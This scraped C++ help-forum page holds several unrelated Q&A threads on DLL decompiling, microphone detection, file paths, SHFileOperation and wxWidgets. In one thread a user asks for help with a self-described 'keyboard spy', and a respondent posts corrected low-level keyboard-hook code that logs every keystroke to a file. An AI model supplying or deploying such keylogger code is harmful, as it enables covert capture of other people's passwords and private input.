|
kapardhi wrote: this"\\" implies any string before "\\" is path, and string after "\\" is the name of the file to be created
The above is wrong.
Anyway the pathname is valid, I was wrong about.
That's said, your code snippet is a bit naïf (euphemism), why are you assigning a FILE pointer to
a CFile * variable?
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
hay all,
how to read the DLL file, read the functionality and edit it how.
give the solution plz.
Regard's
Mathy's
|
|
|
|
|
Acting on the library source files.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
What the hell are you trying to do ?
If you want to modify the dll, you need to have the source file, modify them and rebuild your dll. You can't just 'edit' a dll like that.
|
|
|
|
|
mind the word's to use,understand my que? first.
i know how to edit the source and rebuild it.
but i want to read the source code through Dll how.
Regard's
Mathy's
|
|
|
|
|
Thanks for downvoting me
mathy wrote: but i want to read the source code through Dll how.
As I already told you in my previous message, it is not possible, even if you don't like it. If you don't have the sources of the dll, you can't modify your dll. It is the same as with an executable, you can't just edit a program like that without having the sources.
|
|
|
|
|
Re: Any way to decompile C++ Exe/DLL of device application
No. You can't turn hamburger back into the cow.
They said it there For more details, see here:
http://www.codeguru.com/forum/showthread.php?t=441352[^]
There is sufficient light for those who desire to see, and there is sufficient darkness for those of a contrary disposition.
Blaise Pascal
|
|
|
|
|
I need to check in Run Time if in current machine that execute my application (exe file) has an active microphone.
How can i do it ?
Thanks
|
|
|
|
|
Yanshof wrote: How can i do it ?
Maybe with another post?
BTW what about a webcam pointing to the microphone plug (you will need also a 'jack detection' software)?
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
modified on Wednesday, October 22, 2008 9:40 AM
|
|
|
|
|
|
Yanshof wrote: How can i do it ?
Unless you have hardware that has a specific way of
determining this, you can't.
No sound hardware I've ever used was able to detect if a mic
is plugged in or not.
You could iterate through the available audio input devices
and "listen" for background noise or something.
Mark Salsbery
Microsoft MVP - Visual C++
|
|
|
|
|
How come my DELL Inspiron B130 detects device when I plug something in the microphone plug and shows a dialog? And also how come my Skype understands when a microphone is plugged in or out ?
|
|
|
|
|
USB device? If so, USB devices are generally recognized
when they are plugged in.
1/8" mini-plug into a sound card? If so, then unless the
sound hardware has a mechanism to recognize a plugged in microphone
then I stand by my previous reply.
Mark Salsbery
Microsoft MVP - Visual C++
|
|
|
|
|
I need to check in Run Time if in current machine that execute my application (exe file) has an active microphone.
How can i do it ?
Thanks
|
|
|
|
|
Hi
I wrote a program with vc6 which when clicked on a file;
the path of it returns to output,
So I want to do this to return the directory of file,
Does anyone know how can I do that and in which class I could return directory?
Please mail me the answer,
My mail is: mhghaeminia@yahoo.com
Thanks
|
|
|
|
|
Member 4227826 wrote: My mail is:
Nice to know.
Mr.Spammer
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Member 4227826 wrote: So I want to do this to return the directory of file,
Does anyone know how can I do that...
Use PathRemoveFileSpec() .
"Love people and use things, not love things and use people." - Unknown
"The brick walls are there for a reason...to stop the people who don't want it badly enough." - Randy Pausch
|
|
|
|
|
Try
char szCurrentDir[MAX_PATH];
::GetCurrentDirectory(MAX_PATH,szCurrentDir);
|
|
|
|
|
I want to delete some text file from specefied folder at a time. I cannot find error at this code? I have used SHFILEOPSTRUCT. Whats wrong?
SHFILEOPSTRUCT sfo;
sfo.hwnd = NULL;
sfo.wFunc = FO_DELETE;
sfo.pFrom = "C:\\Kapil\\*.*\0";
SHFileOperation(&sfo);
|
|
|
|
|
Try clearing other members of the struct. Either by explicitly setting them or using something like ::memset( &sfo, 0, sizeof( SHFILEOPSTRUCT ) ) .
Peace!
-=- James Please rate this message - let me know if I helped or not!<hr></hr> If you think it costs a lot to do it right, just wait until you find out how much it costs to do it wrong! Remember that Professional Driver on Closed Course does not mean your Dumb Ass on a Public Road! See DeleteFXPFiles
|
|
|
|
|
Sk Mohiuddin wrote: I cannot find error at this code?
How can that be since you are not checking the return value of SHFileOperation() ?
Per MSDN:
pTo - Address of a buffer to contain the name of the destination file or directory. This parameter must be set to NULL if it is not used.
"Love people and use things, not love things and use people." - Unknown
"The brick walls are there for a reason...to stop the people who don't want it badly enough." - Randy Pausch
|
|
|
|
|
Hi all,
Write an hook program that one not allow to create an IE instance. That one may crate but not to populate... Please help me
Regards
vicky00000
|
|
|
|
|
Hello,
I write code for keyboard spy, but every symbol write to file double.
Whats wrong? Help please.
My code
LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char c;
char str[1];
long i;
if(::GetKeyState(VK_DOWN))
{
i=((EVENTMSG*)lParam)->message ;
c=::MapVirtualKey(i,MAPVK_VK_TO_CHAR);
str[0] = c;
FILE* fout = fopen("log.txt", "a+");
if (fout)
{
fwrite(str, 1, 1, fout);
fclose(fout);
}
}
return CallNextHookEx( hHook, nCode, wParam, lParam);
}
hHook = SetWindowsHookEx(13,(HOOKPROC)::HookKeyboardProc,GetModuleHandle(NULL), 0);
|
|
|
|
|
This really is a job for your debugger, but I'll try to help!
First, you set a hook for WH_KEYBOARD_LL (13). If possible, please use the constants - or comment the code at least as to why you didn't.
This hooks WM_KEYUP, and WM_KEYDOWN messages (and a few others).
So, you press down the 'A' key.
A WM_KEYDOWN message is sent.
Your hook gets called. You then call ::GetKeyState(VK_DOWN) . Look at the help, and you see that it returns some complex code telling you about the status of the down arrow key on your keyboard. This is unlikely to be 0, so end up logging the 'A'.
Then you let go of the 'A' key shortly after.
A WM_KEYUP is sent, and it fires your hook.
That also checks the VK_DOWN key, finds some status that isn't 0, and logs the 'A' key again.
If you only want to log when a key is pushed down (my psychic abilities here), then change your hook to...
LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))
{
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
BYTE byOut = (BYTE) (kb->vkCode);
FILE* fout = fopen("log.txt", "a+");
if (fout)
{
fwrite(&byOut, 1, 1, fout);
fclose(fout);
}
}
return CallNextHookEx( hHook, nCode, wParam, lParam);
}
|
|
|
|
|
Hello! i'm new in this...
i'm using codeblocks ans wxwidgets libraries.
when my application loads a certain URL (i.e. google), it fails to show the jpeg images. Actually, the only format shown is gif.
I already added "void wxInitAllImageHandlers();" and the library "#include " but still jpeg doesn't appear... i don't know what to do!
thanks a lot!!!!
|
|
|
|